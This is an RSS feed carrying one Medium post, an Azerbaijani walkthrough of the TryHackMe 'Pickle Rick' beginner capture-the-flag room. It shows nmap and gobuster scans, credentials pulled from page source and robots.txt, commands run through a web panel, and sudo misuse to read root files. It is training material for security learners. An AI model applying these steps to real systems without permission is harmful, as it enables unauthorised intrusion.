<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Adil Ahmadzada on Medium]]></title>
        <description><![CDATA[Stories by Adil Ahmadzada on Medium]]></description>
        <link>https://medium.com/@adilahmadzada?source=rss-86286bea8438------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*qiweZ4rZnpnM0U3WA0eGCA.jpeg</url>
            <title>Stories by Adil Ahmadzada on Medium</title>
            <link>https://medium.com/@adilahmadzada?source=rss-86286bea8438------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 18:27:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@adilahmadzada/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Pickle Rick CTF TryHackMe Writeup]]></title>
            <link>https://medium.com/@adilahmadzada/pickle-rick-ctf-tryhackme-writeup-4eec291ef871?source=rss-86286bea8438------2</link>
            <guid isPermaLink="false">https://medium.com/p/4eec291ef871</guid>
            <category><![CDATA[azerbaijan]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Adil Ahmadzada]]></dc:creator>
            <pubDate>Sun, 03 Nov 2024 10:37:16 GMT</pubDate>
            <atom:updated>2024-11-03T10:37:16.408Z</atom:updated>
            <content:encoded><![CDATA[<p>Bu gün TryHackMe platformasının başlanğıc səviyyəsindəki Pickle Rick CTF otağının həll yolunu sizinlə paylaşacağam</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T2h6mTr9vTYqEh2-KFYQXA.png" /><figcaption>Başlamazdan əvvəl <strong>Start Machine</strong> edək</figcaption></figure><p>Rick’in ehtiyac duyduğu üç maddəni tapmağımız tələb olunur.</p><p><strong>Enumeration (Məlumat toplamaq) :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*izzpJk6Z2tjYOlmNLL3Xww.png" /><figcaption>Bizə verilən IP Addresini istifade edek</figcaption></figure><p>Nmap ilə açıq portları və versiyaları yoxlayaq.</p><p>nmap -sV 10.10.1.176</p><pre>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-03 13:57 +04<br>Nmap scan report for 10.10.1.176<br>Host is up (0.095s latency).<br>Not shown: 998 closed tcp ports (conn-refused)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)<br>80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 12.18 seconds</pre><p>80 portunun açıq olması buranın bir veb səhifə olduğunu göstərir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*54MEmPE48fM3rcQFt1vyhg.png" /></figure><p><strong>Web Enumeration</strong>: İlk olaraq səhifənin mənbə kodlarına baxaq (CTRL + U).</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>  &lt;title&gt;Rick is sup4r cool&lt;/title&gt;<br>  &lt;meta charset=&quot;utf-8&quot;&gt;<br>  &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&gt;<br>  &lt;link rel=&quot;stylesheet&quot; href=&quot;assets/bootstrap.min.css&quot;&gt;<br>  &lt;script src=&quot;assets/jquery.min.js&quot;&gt;&lt;/script&gt;<br>  &lt;script src=&quot;assets/bootstrap.min.js&quot;&gt;&lt;/script&gt;<br>  &lt;style&gt;<br>  .jumbotron {<br>    background-image: url(https://medium.com/&quot;assets/rickandmorty.jpeg&quot;);<br>    background-size: cover;<br>    height: 340px;<br>  }<br>  &lt;/style&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br><br>  &lt;div class=&quot;container&quot;&gt;<br>    &lt;div class=&quot;jumbotron&quot;&gt;&lt;/div&gt;<br>    &lt;h1&gt;Help Morty!&lt;/h1&gt;&lt;/br&gt;<br>    &lt;p&gt;Listen Morty... I need your help, I&#39;ve turned myself into a pickle again and this time I can&#39;t change back!&lt;/p&gt;&lt;/br&gt;<br>    &lt;p&gt;I need you to &lt;b&gt;*BURRRP*&lt;/b&gt;....Morty, logon to my computer and find the last three secret ingredients to finish my pickle-reverse potion. The only problem is,<br>    I have no idea what the &lt;b&gt;*BURRRRRRRRP*&lt;/b&gt;, password was! Help Morty, Help!&lt;/p&gt;&lt;/br&gt;<br>  &lt;/div&gt;<br><br>  &lt;!--<br><br>    Note to self, remember username!<br><br>    Username: R1ckRul3s<br><br>  --&gt;<br><br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>USERNAME</strong>: R1ckRul3s olduğunu qeyd edirik.</p><p>İndi Dirsearch ilə veb səhifənin gizli hissələrini tapaq. Daha ətraflı məlumat üçün Gobuster-dən istifadə edirik!</p><pre>gobuster dir -u http://10.10.1.176/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,js,css</pre><pre>==============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url: http://10.10.1.176/<br>[+] Method: GET<br>[+] Threads: 10<br>[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt<br>[+] Negative Status codes: 404<br>[+] User Agent: gobuster/3.6<br>[+] Extensions: php,txt,html,js,css<br>[+] Timeout: 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.php (Status: 403) [Size: 276]<br>/.html (Status: 403) [Size: 276]<br>/index.html (Status: 200) [Size: 1062]<br>/login.php (Status: 200) [Size: 882]<br>/assets (Status: 301) [Size: 311] [ → http://10.10.1.176/assets/]<br>/portal.php (Status: 302) [Size: 0] [ → /login.php]<br>/robots.txt (Status: 200) [Size: 17]</pre><p>http://10.10.1.176/robots.txt</p><pre>Wubbalubbadubdub</pre><p><a href="http://10.10.1.176/login.php">http://10.10.1.176/login.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gt2-Zw_VpY2IUUqZV7ynzg.png" /></figure><p><strong>USERNAM</strong>E R1ckRul3s , <strong>PASSWORD </strong>isə Wubbalubbadubdub olduğunu tapdıq. İndi login etməyə cəhd edək.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9purksYh4LcEq4AWLxcgfw.png" /></figure><p>Və budur, panelin içindəyik! Qarşımızda bir input və “execute” düyməsi var, yəni buranı shell kimi istifadə edə bilərik. Test edək!</p><p>ls</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Cv7YqPPLiqHJpEw9ry6Ng.png" /></figure><p>Və budur! Sup3rS3cretPickl3Ingred.txt faylını tapdıq — ilk cavab bunun içindədir.</p><p>cat Sup3rS3cretPickl3Ingred.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j6tzoimQr1pAP09Py3WUSw.png" /></figure><p>Hər hansı bir problem varsa, cat əvəzinə tac ilə yoxlayaq.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UO1brc-wqLQNr9-qk4iaAg.png" /><figcaption>TryHackMe qaydalarına uyğun olarq Blurlanıb</figcaption></figure><p>Digər fayllara baxdıqda cat clue.txt <br>Look around the file system for the other ingredient.</p><p>ls /home əmrini icra etdikdə iki istifadəçi göstərir. İndi Rick-in içindəki fayllara baxaq.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0_Ep3RKRewkvQLh9uUe_WA.png" /></figure><p>ls /home/rick</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PsVSrToguburmH1-r-hYuA.png" /></figure><p>tac /home/rick/“second ingredients”</p><p>Budur 2 ci cavab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B2eYn0L33UV1nG95LL5ozA.png" /></figure><p>Sonda, sudo -l əmri ilə hansı sudo icazələrinə malik olduğumuzu yoxlayaq.</p><pre>Matching Defaults entries for www-data on ip-10-10-1-176:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin<br><br>User www-data may run the following commands on ip-10-10-1-176:<br>    (ALL) NOPASSWD: ALL</pre><p>NOPASSWD: ALL — bütün sudo icazələrimiz mövcuddur.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F26gJyPpxC6EzNSlry%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fufc-yeah-cheer-26gJyPpxC6EzNSlry&amp;image=https%3A%2F%2Fmedia3.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExMjlxcXA1azI2MDZlYjg5c2xzM3BuOWg4OXc0bTNtY2N5NmY3bXhkOCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2F26gJyPpxC6EzNSlry%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/063a363017cf8db783f76855edf48a57/href">https://medium.com/media/063a363017cf8db783f76855edf48a57/href</a></iframe><p>sudo ls /root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pqn9QaeaKBJAuUrM_BFSeg.png" /></figure><p>sudo tac /root/3rd.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R3Nj8fDS_jdZjSpuyDMr2Q.png" /></figure><p>Yazını oxuduğunuz üçün təşəkkür edirəm! Ümid edirəm ki, faydalı oldu və bəyəndiniz.</p><p>Əlaqə: <a href="https://www.linkedin.com/in/adil-ahmadzada/">https://www.linkedin.com/in/adil-ahmadzada/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4eec291ef871" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>